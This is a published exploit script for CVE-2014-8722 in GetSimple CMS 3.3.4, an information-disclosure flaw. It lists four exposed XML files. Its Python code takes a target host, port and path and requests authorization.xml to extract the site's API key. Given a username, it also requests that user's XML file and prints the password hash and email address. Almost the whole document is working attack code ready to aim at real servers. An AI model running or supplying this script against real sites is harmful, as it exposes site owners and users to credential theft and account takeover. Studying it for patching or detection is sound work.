GetSimple CMS 3.3.4 Information Disclosure

`# Exploit Title: GetSimple CMS 3.3.4 - Information Disclosure  
# Date 01.06.2021  
# Exploit Author: Ron Jost (Hacker5preme)  
# Vendor Homepage: http://get-simple.info/  
# Software Link: https://github.com/GetSimpleCMS/GetSimpleCMS/archive/refs/tags/v3.3.4.zip  
# Version: 3.3.4  
# CVE: CVE-2014-8722  
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2014-8722-Exploit  
  
  
'''  
Description:  
GetSimple CMS 3.3.4 allows remote attackers to obtain sensitive information via a direct request to  
(1) data/users/<username>.xml,  
(2) backups/users/<username>.xml.bak,  
(3) data/other/authorization.xml, or  
(4) data/other/appid.xml.  
'''  
  
  
'''  
Import required modules:  
'''  
import sys  
import requests  
  
'''  
User-Input:  
'''  
target_ip = sys.argv[1]  
target_port = sys.argv[2]  
cmspath = sys.argv[3]  
print('')  
username = input("Do you know the username? Y/N: ")  
if username == 'Y':  
print('')  
username = True  
username_string = input('Please enter the username: ')  
else:  
print('')  
username = False  
print('No problem, you will still get the API key')  
  
  
'''  
Get Api-Key:  
'''  
url = 'http://' + target_ip + ':' + target_port + cmspath + '/data/other/authorization.xml'  
header = {  
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",  
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",  
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",  
"Accept-Encoding": "gzip, deflate",  
"Connection": "close",  
"Upgrade-Insecure-Requests": "1",  
"Cache-Control": "max-age=0"  
}  
x = requests.get(url, headers=header).text  
start = x.find('[') + 7  
end = x.find(']')  
api_key = x[start:end]  
print('')  
print('Informations:')  
print('')  
print('[*] API Key: ' + api_key)  
  
  
if username:  
'''  
Get Email and Passwordhash:  
'''  
url = "http://" + target_ip + ':' + target_port + cmspath + '/data/users/' + username_string + '.xml'  
header = {  
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",  
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",  
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",  
"Accept-Encoding": "gzip, deflate",  
"Connection": "close",  
"Upgrade-Insecure-Requests": "1",  
"Cache-Control": "max-age=0"  
}  
x = requests.get(url, headers=header).text  
start = x[x.find('PWD>'):]  
passwordhash = start[start.find('>') +1 :start.find('<')]  
print('[*] Hashed Password: ' + passwordhash)  
  
start = x[x.find('EMAIL>'):]  
email = start[start.find('>') + 1 : start.find('<')]  
print('[*] Email: ' + email)  
print('')  
  
`